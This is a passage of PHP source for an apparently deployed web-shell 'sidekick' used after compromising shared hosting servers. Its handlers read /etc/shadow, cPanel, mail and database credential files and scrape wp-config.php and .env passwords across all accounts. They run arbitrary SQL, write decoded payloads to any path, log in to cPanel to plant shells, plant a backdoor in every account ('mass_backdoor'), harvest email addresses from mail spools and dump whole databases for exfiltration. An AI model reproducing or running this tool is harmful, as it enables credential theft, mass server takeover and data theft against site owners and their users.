        $cpu = @file_get_contents("/var/cpanel/users/{$cp_user}");
        if ($cpu !== false && strlen($cpu) > 10) {
            $out['cpanel_user_config'] = $cpu;
            if (preg_match('/CONTACTEMAIL=(\S+)/', $cpu, $m))
                $out['cpanel_contact_email'] = $m[1];
        }
    }

    $cpp = @file_get_contents('/usr/local/cpanel/etc/passwd');
    if ($cpp !== false && strlen($cpp) > 10) $out['cpanel_etc_passwd'] = $cpp;

    $ud = @file_get_contents('/etc/userdomains');
    if ($ud !== false && strlen($ud) > 5) $out['userdomains'] = $ud;
    $ld = @file_get_contents('/etc/localdomains');
    if ($ld !== false && strlen($ld) > 5) $out['localdomains'] = $ld;

    echo json_encode($out);
}

// ── action: files ─────────────────────────────────────────────────────────────
// PHP-native file sweep across credential paths — no exec needed.

function files_handler(): void {
    $out = ['files' => [], 'wpconfigs' => [], 'envfiles' => []];

    $targets = [
        '/etc/passwd', '/etc/shadow',
        '/etc/exim4/passwd.client', '/etc/postfix/sasl_passwd',
        '/etc/exim.conf', '/etc/exim.conf.localopts',
        '/etc/exim4/exim4.conf.template',
        '/etc/exim4/conf.d/transport/30_exim4-config_remote_smtp_smarthost',
        '/usr/local/cpanel/etc/exim/system.conf',
        '/root/.my.cnf', '/etc/mysql/debian.cnf', '/etc/mysql/my.cnf',
        '/etc/vsftpd.conf', '/etc/proftpd/proftpd.conf',
        '/etc/pure-ftpd/db/pureftpd.passwd',
        '/var/cpanel/root.passwd', '/root/.accesshash',
        '/etc/psa/psa.conf', '/opt/psa/admin/conf/panel.ini',
        '/usr/local/directadmin/conf/directadmin.conf',
        '/usr/local/directadmin/conf/mysql.conf',
        '/usr/local/hestia/conf/mysql.conf',
        '/usr/local/vesta/conf/mysql.conf',
        '/etc/userdomains', '/etc/trueuserdomains',
        '/proc/self/environ', '/proc/1/environ',
        '/etc/mail/authinfo', '/etc/mail/access',
    ];
    foreach ($targets as $p) {
        $c = @file_get_contents($p);
        if ($c !== false && strlen($c) > 3) $out['files'][$p] = $c;
    }

    $dr = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');
    $wpcfg_globs = array_filter([
        $dr ? $dr . '/wp-config.php'         : null,
        $dr ? dirname($dr) . '/wp-config.php': null,
        '/var/www/*/wp-config.php',
        '/var/www/*/*/wp-config.php',
        '/var/www/html/*/wp-config.php',
        '/home/*/public_html/wp-config.php',
        '/home/*/www/wp-config.php',
        '/home/*/public_html/*/wp-config.php',
        '/srv/*/wp-config.php',
        '/srv/www/*/wp-config.php',
        '/opt/*/wp-config.php',
        '/www/wwwroot/*/wp-config.php',
        '/data/wwwroot/*/wp-config.php',
        '/volume*/web/*/wp-config.php',
        '/data/web/virtuals/*/virtual/www/domains/*/wp-config.php',
        '/data/web/virtuals/*/virtual/www/wp-config.php',
        '/var/customers/webs/*/wp-config.php',
        '/var/customers/webs/*/*/wp-config.php',
        '/var/www/vhosts/*/httpdocs/wp-config.php',
        '/var/www/vhosts/*/*/wp-config.php',
        '/home/runcloud/webapps/*/wp-config.php',
        '/var/www/*/public/wp-config.php',
        dirname(dirname(dirname(dirname(__FILE__)))) . '/wp-config.php',
        dirname(dirname(dirname(dirname(dirname(__FILE__))))) . '/wp-config.php',
    ]);
    foreach ($wpcfg_globs as $pat) {
        foreach ((array)@glob($pat) as $f) {
            if (isset($out['wpconfigs'][$f])) continue;
            $c = @file_get_contents($f);
            if ($c !== false && strlen($c) > 100) $out['wpconfigs'][$f] = $c;
        }
    }

    $env_globs = [
        '/opt/*/.env', '/opt/*/*/.env',
        '/var/www/*/.env', '/var/www/*/*/.env',
        '/home/*/.env', '/home/*/public_html/.env',
        '/home/*/public_html/*/.env',
        '/srv/*/.env', '/srv/www/*/.env', '/root/.env',
    ];
    foreach ($env_globs as $pat) {
        foreach ((array)@glob($pat) as $f) {
            if (isset($out['envfiles'][$f])) continue;
            $c = @file_get_contents($f);
            if ($c !== false && strlen($c) > 10) $out['envfiles'][$f] = $c;
        }
    }

    echo json_encode($out);
}

// ── action: mysql — run a SQL query via PHP mysqli (no exec needed) ───────────

function mysql_handler(): void {
    $hosts = array_filter([
        trim($_POST['host'] ?? ''),
        'localhost',
        '127.0.0.1',
    ]);
    $user  = $_POST['user']  ?? '';
    $pass  = $_POST['pass']  ?? '';
    $db    = $_POST['db']    ?? '';
    $query = $_POST['query'] ?? '';

    if (!$query) { echo json_encode(['ok' => false, 'error' => 'no query']); return; }
    if (!function_exists('mysqli_connect')) {
        echo json_encode(['ok' => false, 'error' => 'mysqli not available']); return;
    }

    $tried = [];
    foreach (array_unique(array_values($hosts)) as $h) {
        $c = @mysqli_connect($h, $user, $pass, $db ?: null);
        if (!$c) { $tried[] = $h . ': ' . @mysqli_connect_error(); continue; }
        $res = @mysqli_query($c, $query);
        if ($res === false) {
            $err = @mysqli_error($c);
            @mysqli_close($c);
            echo json_encode(['ok' => false, 'host' => $h, 'error' => $err]);
            return;
        }
        if ($res === true) {
            echo json_encode(['ok' => true, 'host' => $h, 'affected' => @mysqli_affected_rows($c), 'rows' => []]);
        } else {
            $rows = [];
            while ($row = @mysqli_fetch_assoc($res)) $rows[] = $row;
            echo json_encode(['ok' => true, 'host' => $h, 'rows' => $rows]);
        }
        @mysqli_close($c);
        return;
    }
    echo json_encode(['ok' => false, 'error' => 'all hosts failed', 'tried' => $tried]);
}

// ── action: write — write base64-decoded content to path ─────────────────────
// Fallback shell deploy when all WP admin upload vectors are WAF-blocked but
// sidekick is already alive (deployed earlier via a different vector).

function write_handler(): void {
    $path = trim($_POST['path'] ?? '');
    $data = $_POST['data'] ?? '';
    if (!$path || !$data) {
        echo json_encode(['ok' => false, 'err' => 'missing path or data']); return;
    }
    $decoded = @base64_decode($data, true);
    if ($decoded === false) {
        echo json_encode(['ok' => false, 'err' => 'base64 decode failed']); return;
    }
    $dir = dirname($path);
    if (!@is_dir($dir)) @mkdir($dir, 0755, true);
    $bytes = @file_put_contents($path, $decoded);
    echo json_encode(['ok' => $bytes !== false, 'bytes' => (int)$bytes]);
}

// ── action: cp_plant — upload a file to a cPanel account via File Manager API ─
// Mirrors F-Automatical's file_UPloader_cP():
//   POST /{cpsess}/execute/Fileman/upload_files  dir={home}/{user}/public_html
// This is the cascade path: crack cPanel A → plant sidekick in A's public_html
// → run configs/whm_takeover from A → find more passwords → crack more accounts.
// POST params: user, pass, filename, content (base64), [port=2083] [host=localhost]

function cp_upload_fm(string $user, string $pass, string $filename, string $content,
                      int $port = 2083, string $h = 'localhost'): ?string {
    if (!function_exists('curl_init')) return null;
    // Step 1: get cpsess token via form login
    $token = cp_login_token($user, $pass, $port, $h);
    if (!$token) {
        // Try opposite port
        $alt = ($port === 2083) ? 2082 : 2083;
        $token = cp_login_token($user, $pass, $alt, $h);
        if ($token) $port = $alt;
    }
    if (!$token) return null;

    preg_match('/cpsess[0-9a-f]+/i', $token, $m);
    $cpsess = $m[0] ?? '';
    $jar    = explode('|', $token)[1] ?? '';
    if (!$cpsess || !$jar) return null;

    $proto  = ($port === 2082 || $port === 2086) ? 'http' : 'https';
    $target = "/home/$user/public_html";

    // Step 2: upload via Fileman UAPI
    $boundary = bin2hex(random_bytes(8));
    $body = "--{$boundary}\r\n"
          . "Content-Disposition: form-data; name=\"dir\"\r\n\r\n{$target}\r\n"
          . "--{$boundary}\r\n"
          . "Content-Disposition: form-data; name=\"overwrite\"\r\n\r\n1\r\n"
          . "--{$boundary}\r\n"
          . "Content-Disposition: form-data; name=\"file-0\"; filename=\"{$filename}\"\r\n"
          . "Content-Type: application/octet-stream\r\n\r\n{$content}\r\n"
          . "--{$boundary}--\r\n";

    $ch = curl_init("{$proto}://{$h}:{$port}/{$cpsess}/execute/Fileman/upload_files");
    curl_setopt_array($ch, [
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => $body,
        CURLOPT_HTTPHEADER     => ["Content-Type: multipart/form-data; boundary={$boundary}"],
        CURLOPT_COOKIEFILE     => $jar,
        CURLOPT_COOKIEJAR      => $jar,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_TIMEOUT        => 30,
        CURLOPT_RETURNTRANSFER => true,
    ]);
    $res = curl_exec($ch);
    $err = curl_error($ch);
    curl_close($ch);

    // Step 2b: fallback — save_file endpoint (cPanel 11.90+)
    if (!$res || !@json_decode($res, true)) {
        $ch2 = curl_init("{$proto}://{$h}:{$port}/{$cpsess}/execute/Fileman/save_file");
        curl_setopt_array($ch2, [
            CURLOPT_POST           => true,
            CURLOPT_POSTFIELDS     => http_build_query([
                'dir'     => $target,
                'file'    => $filename,
                'content' => $content,
            ]),
            CURLOPT_COOKIEFILE     => $jar,
            CURLOPT_COOKIEJAR      => $jar,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_TIMEOUT        => 20,
            CURLOPT_RETURNTRANSFER => true,
        ]);
        $res = curl_exec($ch2);
        curl_close($ch2);
    }

    @unlink($jar); // clean up cookie jar

    $j = @json_decode($res, true);
    if (!empty($j['status'])) return "$target/$filename";
    // Verify by direct file_exists (same FS)
    if (@file_exists("$target/$filename")) return "$target/$filename";
    return null;
}

function cp_plant_handler(): void {
    $user     = trim($_POST['user']     ?? '');
    $pass     = trim($_POST['pass']     ?? '');
    $filename = basename(trim($_POST['filename'] ?? 'sidekick.php'));
    $content  = $_POST['content'] ?? '';   // base64
    $port     = (int)($_POST['port']    ?? 2083);
    $host     = trim($_POST['host']     ?? 'localhost');
    $domain   = trim($_POST['domain']   ?? '');

    if (!$user || !$pass || !$content) {
        echo json_encode(['ok' => false, 'err' => 'missing user/pass/content']); return;
    }
    $decoded = @base64_decode($content, true);
    if ($decoded === false || strlen($decoded) < 5) {
        echo json_encode(['ok' => false, 'err' => 'invalid base64']); return;
    }
    $filename = preg_replace('/[^a-zA-Z0-9._-]/', '', $filename) ?: 'sidekick.php';

    $path = cp_upload_fm($user, $pass, $filename, $decoded, $port, $host);
    if (!$path) {
        echo json_encode(['ok' => false, 'err' => 'upload_failed']); return;
    }

    // Resolve domain: from POST, or /etc/userdomains, or username as fallback
    if (!$domain) {
        $ud = @file_get_contents('/etc/userdomains');
        if ($ud) {
            // format: "domain.com: username"
            foreach (explode("\n", trim($ud)) as $line) {
                $p = explode(': ', $line, 2);
                if (count($p) === 2 && trim($p[1]) === $user) {
                    $domain = trim($p[0]); break;
                }
            }
        }
        if (!$domain) $domain = $user; // last resort
    }
    $url = "http://$domain/$filename";
    echo json_encode(['ok' => true, 'path' => $path, 'url' => $url]);
}

// ── action: mail_harvest — read mail spools for email address lists ────────────
// Mirrors F-Automatical's mail_single()/mail_mass():
// Reads /var/mail/* and /var/spool/mail/* to extract From/To addresses.
// Returns unique email addresses grouped by domain.

function mail_harvest_handler(): void {
    $spool_dirs = ['/var/mail', '/var/spool/mail', '/var/spool/imap'];
    $emails = [];
    $file_count = 0;

    foreach ($spool_dirs as $dir) {
        $files = @scandir($dir);
        if (!$files) continue;
        foreach ($files as $f) {
            if ($f === '.' || $f === '..') continue;
            $path = "$dir/$f";
            if (!@is_readable($path) || @is_dir($path)) continue;
            if ($file_count++ > 100) break; // sanity cap
            $content = @file_get_contents($path, false, null, 0, 524288); // first 512 KB
            if (!$content) continue;
            // Extract From:/To:/Delivered-To: headers
            preg_match_all('/^(?:From|To|Cc|Delivered-To|X-Original-To):\s*.*?([a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,})/mi', $content, $m);
            foreach ($m[1] as $addr) {
                $addr = strtolower(trim($addr));
                if (strlen($addr) > 5 && strpos($addr, '@') !== false)
                    $emails[$addr] = true;
            }
        }
    }

    // Also check Maildir-style inboxes under home dirs
    $passwd = @file_get_contents('/etc/passwd');
    if ($passwd) {
        foreach (explode("\n", trim($passwd)) as $line) {
            $p = explode(':', $line);
            if (count($p) < 6) continue;
            $uid = (int)$p[2];
            if ($uid < 500 || $uid > 65000) continue;
            $home = $p[5];
            foreach (["$home/Maildir/new", "$home/Maildir/cur"] as $mdir) {
                $mfiles = @scandir($mdir);
                if (!$mfiles) continue;
                foreach (array_slice($mfiles, 0, 50) as $mf) {
                    if ($mf === '.' || $mf === '..') continue;
                    $content = @file_get_contents("$mdir/$mf", false, null, 0, 65536);
                    if (!$content) continue;
                    preg_match_all('/^(?:From|To|Cc|Delivered-To):\s*.*?([a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,})/mi', $content, $m);
                    foreach ($m[1] as $addr) {
                        $addr = strtolower(trim($addr));
                        if (strlen($addr) > 5) $emails[$addr] = true;
                    }
                }
            }
        }
    }

    $list = array_keys($emails);
    sort($list);
    echo json_encode(['ok' => 1, 'count' => count($list), 'emails' => $list]);
}

// ── action: configs — scrape DB/app credentials across all server accounts ────
// Mirrors F-Automatical's configs()/script_Finder() flow:
// enumerate every cPanel account, read wp-config.php / configuration.php /
// config.php / .env, extract DB_PASSWORD.  Those passwords are then fed into
// cp_handler (action=cp) to crack cPanel login — the #1 gap vs F-Automatical.

function configs_handler(): void {
    // ── Enumerate cPanel accounts ────────────────────────────────────────────
    $accounts = [];   // user => ['home', 'domain']

    $ud = @file_get_contents('/etc/userdatadomains');
    if ($ud) {
        // Format: "domain.com: username"
        foreach (explode("\n", trim($ud)) as $line) {
            $p = explode(': ', $line, 2);
            if (count($p) === 2) {
                $dom = trim($p[0]);
                $usr = trim($p[1]);
                if ($usr && !isset($accounts[$usr]))
                    $accounts[$usr] = ['home' => "/home/$usr", 'domain' => $dom];
            }
        }
    }
    // /etc/trueuserdomains: "username: domain" (reversed)
    if (empty($accounts)) {
        $tud = @file_get_contents('/etc/trueuserdomains');
        if ($tud) {
            foreach (explode("\n", trim($tud)) as $line) {
                $p = explode(': ', $line, 2);
                if (count($p) === 2) {
                    $usr = trim($p[0]); $dom = trim($p[1]);
                    if ($usr && !isset($accounts[$usr]))
                        $accounts[$usr] = ['home' => "/home/$usr", 'domain' => $dom];
                }
            }
        }
    }
    // Last resort: /etc/passwd (UID 500-65000, shell != nologin)
    if (empty($accounts)) {
        $passwd = @file_get_contents('/etc/passwd');
        if ($passwd) {
            foreach (explode("\n", trim($passwd)) as $line) {
                $p = explode(':', $line);
                if (count($p) < 7) continue;
                $uid = (int)$p[2];
                if ($uid < 500 || $uid > 65000) continue;
                $sh = $p[6] ?? '';
                if (strpos($sh, 'nologin') !== false || strpos($sh, '/false') !== false) continue;
                $usr = $p[0];
                if (!isset($accounts[$usr]))
                    $accounts[$usr] = ['home' => $p[5], 'domain' => ''];
            }
        }
    }

    // ── Per-account config scan ───────────────────────────────────────────────
    $results      = [];
    $all_passwords = [];
    $all_db_users  = [];

    foreach ($accounts as $usr => $info) {
        $home    = $info['home'];
        $pubhtml = "$home/public_html";
        $found   = [];

        // WordPress: wp-config.php in public_html or one level above
        $wp_candidates = ["$pubhtml/wp-config.php", "$home/wp-config.php"];
        // Also scan one level of subdirectories for multi-WP setups
        $subdirs = @scandir($pubhtml);
        if ($subdirs) {
            foreach ($subdirs as $sd) {
                if ($sd[0] === '.') continue;
                $wp_candidates[] = "$pubhtml/$sd/wp-config.php";
                if (count($wp_candidates) > 20) break;  // sanity cap
            }
        }
        foreach ($wp_candidates as $wpc) {
            $src = @file_get_contents($wpc);
            if (!$src || strlen($src) < 100) continue;
            $d = [];
            foreach (['DB_NAME','DB_USER','DB_PASSWORD','DB_HOST'] as $k) {
                if (preg_match('/define\s*\(\s*[\'"]' . $k . '[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]/', $src, $m))
                    $d[$k] = $m[1];
            }
            if (!empty($d['DB_PASSWORD'])) {
                $found[]         = ['type' => 'wordpress', 'file' => $wpc, 'data' => $d];
                $all_passwords[] = $d['DB_PASSWORD'];
                if (!empty($d['DB_USER'])) $all_db_users[] = $d['DB_USER'];
            }
        }

        // Joomla: configuration.php
        $jc  = "$pubhtml/configuration.php";
        $src = @file_get_contents($jc);
        if ($src && strlen($src) > 100 &&
                (strpos($src, 'JConfig') !== false || strpos($src, "var \$password") !== false
                 || strpos($src, "public \$password") !== false)) {
            $d = [];
            foreach (['user' => 'DB_USER', 'password' => 'DB_PASSWORD', 'db' => 'DB_NAME', 'host' => 'DB_HOST'] as $prop => $key) {
                if (preg_match('/(?:var|public)\s+\$' . $prop . '\s*=\s*[\'"]([^\'"]*)[\'"]/', $src, $m))
                    $d[$key] = $m[1];
            }
            if (!empty($d['DB_PASSWORD'])) {
                $found[]         = ['type' => 'joomla', 'file' => $jc, 'data' => $d];
                $all_passwords[] = $d['DB_PASSWORD'];
                if (!empty($d['DB_USER'])) $all_db_users[] = $d['DB_USER'];
            }
        }

        // OpenCart: config.php (frontend + admin)
        foreach (["$pubhtml/config.php", "$pubhtml/admin/config.php"] as $oc) {
            $src = @file_get_contents($oc);
            if (!$src || strlen($src) < 80 || strpos($src, 'DB_') === false) continue;
            $d = [];
            foreach (['DB_USERNAME' => 'DB_USER', 'DB_PASSWORD' => 'DB_PASSWORD',
                      'DB_DATABASE' => 'DB_NAME',  'DB_HOSTNAME' => 'DB_HOST'] as $k => $key) {
                if (preg_match('/define\s*\(\s*[\'"]' . $k . '[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]/', $src, $m))
                    $d[$key] = $m[1];
            }
            if (!empty($d['DB_PASSWORD'])) {
                $found[]         = ['type' => 'opencart', 'file' => $oc, 'data' => $d];
                $all_passwords[] = $d['DB_PASSWORD'];
                if (!empty($d['DB_USER'])) $all_db_users[] = $d['DB_USER'];
            }
        }

        // Laravel / generic .env
        foreach (["$pubhtml/.env", "$home/.env"] as $env) {
            $src = @file_get_contents($env);
            if (!$src || strlen($src) < 30 || strpos($src, 'DB_PASSWORD') === false) continue;
            $d = [];
            foreach (['DB_PASSWORD' => 'DB_PASSWORD', 'DB_USERNAME' => 'DB_USER',
                      'DB_DATABASE' => 'DB_NAME',     'DB_HOST' => 'DB_HOST'] as $k => $key) {
                if (preg_match('/^' . $k . '=(.*)$/m', $src, $m)) $d[$key] = trim($m[1], '"\'');
            }
            if (!empty($d['DB_PASSWORD'])) {
                $found[]         = ['type' => 'laravel_env', 'file' => $env, 'data' => $d];
                $all_passwords[] = $d['DB_PASSWORD'];
                if (!empty($d['DB_USER'])) $all_db_users[] = $d['DB_USER'];
            }
        }

        if ($found) {
            $results[] = ['user' => $usr, 'home' => $home,
                          'domain' => $info['domain'], 'configs' => $found];
        }
    }

    $all_passwords = array_values(array_unique(array_filter($all_passwords)));
    $all_db_users  = array_values(array_unique(array_filter($all_db_users)));
    echo json_encode([
        'ok'        => 1,
        'accounts'  => count($accounts),
        'found'     => count($results),
        'results'   => $results,
        'passwords' => $all_passwords,   // feed into action=cp as $POST['passwords']
        'db_users'  => $all_db_users,
    ]);
}

// ── action: mass_backdoor — plant a shell in every cPanel account ──────────────
// Mirrors F-Automatical's MASS_Backdoor(): enumerates all accounts via
// /etc/userdatadomains, writes the provided shell to each public_html.
// Shell content is POST['shell'] (base64) + POST['name'] (filename).

function mass_backdoor_handler(): void {
    $shell_b64  = trim($_POST['shell'] ?? '');
    $shell_name = basename(trim($_POST['name'] ?? 'sk.php'));

    if (!$shell_b64) {
        echo json_encode(['ok' => false, 'err' => 'no shell content']); return;
    }
    $shell_content = @base64_decode($shell_b64, true);
    if ($shell_content === false || strlen($shell_content) < 5) {
        echo json_encode(['ok' => false, 'err' => 'invalid base64']); return;
    }
    // Sanitise filename
    $shell_name = preg_replace('/[^a-zA-Z0-9._-]/', '', $shell_name) ?: 'sk.php';
    if (!preg_match('/\.php$/', $shell_name)) $shell_name .= '.php';

    // Enumerate accounts (same logic as configs_handler)
    $accounts = [];
    $ud = @file_get_contents('/etc/userdatadomains');
    if ($ud) {
        foreach (explode("\n", trim($ud)) as $line) {
            $p = explode(': ', $line, 2);
            if (count($p) === 2) {
                $dom = trim($p[0]); $usr = trim($p[1]);
                if ($usr && !isset($accounts[$usr]))
                    $accounts[$usr] = ['home' => "/home/$usr", 'domain' => $dom];
            }
        }
    }
    if (empty($accounts)) {
        $passwd = @file_get_contents('/etc/passwd');
        if ($passwd) {
            foreach (explode("\n", trim($passwd)) as $line) {
                $p = explode(':', $line);
                if (count($p) < 7) continue;
                $uid = (int)$p[2]; $sh = $p[6] ?? '';
                if ($uid < 500 || $uid > 65000) continue;
                if (strpos($sh, 'nologin') !== false || strpos($sh, '/false') !== false) continue;
                $accounts[$p[0]] = ['home' => $p[5], 'domain' => ''];
            }
        }
    }

    $planted = [];
    $failed  = 0;
    foreach ($accounts as $usr => $info) {
        $pubhtml = $info['home'] . '/public_html';
        if (!@is_dir($pubhtml)) { $failed++; continue; }
        $target = "$pubhtml/$shell_name";
        $bytes  = @file_put_contents($target, $shell_content);
        if ($bytes !== false && $bytes > 0) {
            $dom = $info['domain'] ?: $usr;
            $planted[] = ['user' => $usr, 'path' => $target,
                          'url' => "http://$dom/$shell_name"];
        } else {
            $failed++;
        }
    }

    echo json_encode([
        'ok'      => 1,
        'total'   => count($accounts),
        'planted' => count($planted),
        'failed'  => $failed,
        'shells'  => $planted,
    ]);
}

// ── action: db_dump — PHP-native full SQL dump via mysqli (no exec needed) ────
// Bridges the "mysqldump unavailable in jails" gap:
//   • Builds CREATE TABLE + chunked INSERTs for every table
//   • gzip-compresses + base64-encodes the dump
//   • Returns {ok, db, tables, bytes_raw, bytes_gz, dump_b64}
// POST params: host, user, pass, db, [tables] (JSON list), [chunk_size=500],
//              [all_dbs=1] to list every DB the user can see (returns db_list, no dump)
//
// Size cap: bails gracefully if raw SQL exceeds ~8 MB to avoid PHP OOM.

function db_dump_handler(): void {
    if (!function_exists('mysqli_connect')) {
        echo json_encode(['ok' => false, 'error' => 'mysqli not available']); return;
    }

    $host       = trim($_POST['host'] ?? 'localhost') ?: 'localhost';
    $user       = $_POST['user']       ?? '';
    $pass       = $_POST['pass']       ?? '';
    $db         = trim($_POST['db']    ?? '');
    $tables_req = json_decode($_POST['tables'] ?? '[]', true) ?: [];
    $chunk      = max(100, min(2000, (int)($_POST['chunk_size'] ?? 500)));
    $list_only  = !empty($_POST['all_dbs']);

    // Try localhost socket first, then explicit host
    $hosts = array_unique(array_filter([$host, 'localhost', '127.0.0.1']));
    $c = null;
    foreach ($hosts as $h) {
        $c = @mysqli_connect($h, $user, $pass, $db ?: null);
        if ($c) { $host = $h; break; }
    }
    if (!$c) {
        echo json_encode(['ok' => false, 'error' => 'connect failed: ' . @mysqli_connect_error()]); return;
    }

    // If caller wants a list of all visible databases, return that only
    if ($list_only) {
        $res = @mysqli_query($c, 'SHOW DATABASES');
        $dbs = [];
        if ($res) while ($row = @mysqli_fetch_row($res)) $dbs[] = $row[0];
        @mysqli_close($c);
        echo json_encode(['ok' => true, 'db_list' => $dbs]); return;
    }

    if (!$db) { @mysqli_close($c); echo json_encode(['ok' => false, 'error' => 'no db specified']); return; }

    @mysqli_set_charset($c, 'utf8mb4');

    // Enumerate tables to dump
    $res = @mysqli_query($c, 'SHOW TABLES');
    if (!$res) {
        @mysqli_close($c);
        echo json_encode(['ok' => false, 'error' => 'SHOW TABLES failed: ' . @mysqli_error($c)]); return;
    }
    $all_tables = [];
    while ($row = @mysqli_fetch_row($res)) $all_tables[] = $row[0];

    $tables = $tables_req ? array_intersect($tables_req, $all_tables) : $all_tables;
    if (empty($tables)) {
        @mysqli_close($c); echo json_encode(['ok' => false, 'error' => 'no tables found']); return;
    }

    $sql_lines = [];
    $sql_lines[] = "-- sidekick db_dump | db:{$db} | host:{$host} | tables:" . count($tables);
    $sql_lines[] = "-- generated: " . date('Y-m-d H:i:s') . " UTC";
    $sql_lines[] = "SET NAMES utf8mb4;";
    $sql_lines[] = "SET foreign_key_checks=0;";
    $sql_lines[] = "";

    $size_cap = 8 * 1024 * 1024;   // 8 MB raw before gzip, to stay within PHP memory
    $total_size = 0;
    $truncated  = false;
    $done_tables = [];

    foreach ($tables as $tbl) {
        // CREATE TABLE statement
        $cr = @mysqli_query($c, "SHOW CREATE TABLE `" . @mysqli_real_escape_string($c, $tbl) . "`");
        if (!$cr) continue;
        $cr_row = @mysqli_fetch_row($cr);
        if (!$cr_row) continue;
        $create_sql = $cr_row[1];

        $sql_lines[] = "-- Table `{$tbl}`";
        $sql_lines[] = "DROP TABLE IF EXISTS `{$tbl}`;";
        $sql_lines[] = $create_sql . ";";
        $sql_lines[] = "";

        // Row count for progress
        $cnt_r = @mysqli_query($c, "SELECT COUNT(*) FROM `" . @mysqli_real_escape_string($c, $tbl) . "`");
        $row_count = $cnt_r ? (int)(@mysqli_fetch_row($cnt_r)[0] ?? 0) : 0;

        if ($row_count === 0) { $done_tables[] = $tbl; continue; }

        // Fetch column names once
        $cols_r = @mysqli_query($c, "DESCRIBE `" . @mysqli_real_escape_string($c, $tbl) . "`");
        $cols = [];
        if ($cols_r) while ($cr2 = @mysqli_fetch_assoc($cols_r)) $cols[] = $cr2['Field'];
        if (!$cols) { $done_tables[] = $tbl; continue; }

        $col_list = implode(', ', array_map(fn($col) => "`" . $col . "`", $cols));

        // Chunked SELECT * with LIMIT/OFFSET
        $offset = 0;
        while ($offset < $row_count) {
            $escaped_tbl = @mysqli_real_escape_string($c, $tbl);
            $data_r = @mysqli_query($c,
                "SELECT * FROM `{$escaped_tbl}` LIMIT {$chunk} OFFSET {$offset}");
            if (!$data_r) break;

            $rows_batch = [];
            while ($data_row = @mysqli_fetch_row($data_r)) {
                $vals = [];
                foreach ($data_row as $v) {
                    if ($v === null) {
                        $vals[] = 'NULL';
                    } else {
                        $vals[] = "'" . @mysqli_real_escape_string($c, (string)$v) . "'";
                    }
                }
                $rows_batch[] = '(' . implode(', ', $vals) . ')';
            }
            if ($rows_batch) {
                $insert = "INSERT INTO `{$tbl}` ({$col_list}) VALUES\n"
                        . implode(",\n", $rows_batch) . ";";
                $sql_lines[] = $insert;

                $total_size += strlen($insert);
                if ($total_size >= $size_cap) { $truncated = true; break 2; }
            }
            $offset += $chunk;
        }

        $sql_lines[] = "";
        $done_tables[] = $tbl;
    }

    @mysqli_close($c);

    $sql_lines[] = "SET foreign_key_checks=1;";
    if ($truncated) $sql_lines[] = "-- WARNING: dump truncated at 8MB raw limit";

    $raw = implode("\n", $sql_lines);
    $gz  = function_exists('gzencode') ? @gzencode($raw, 6) : $raw;
    if ($gz === false) $gz = $raw;

    $b64 = base64_encode($gz);

    echo json_encode([
        'ok'         => true,
        'db'         => $db,
        'host'       => $host,
        'tables'     => $done_tables,
        'truncated'  => $truncated,
        'bytes_raw'  => strlen($raw),
        'bytes_gz'   => strlen($gz),
        'compressed' => function_exists('gzencode'),
        'dump_b64'   => $b64,
    ]);
}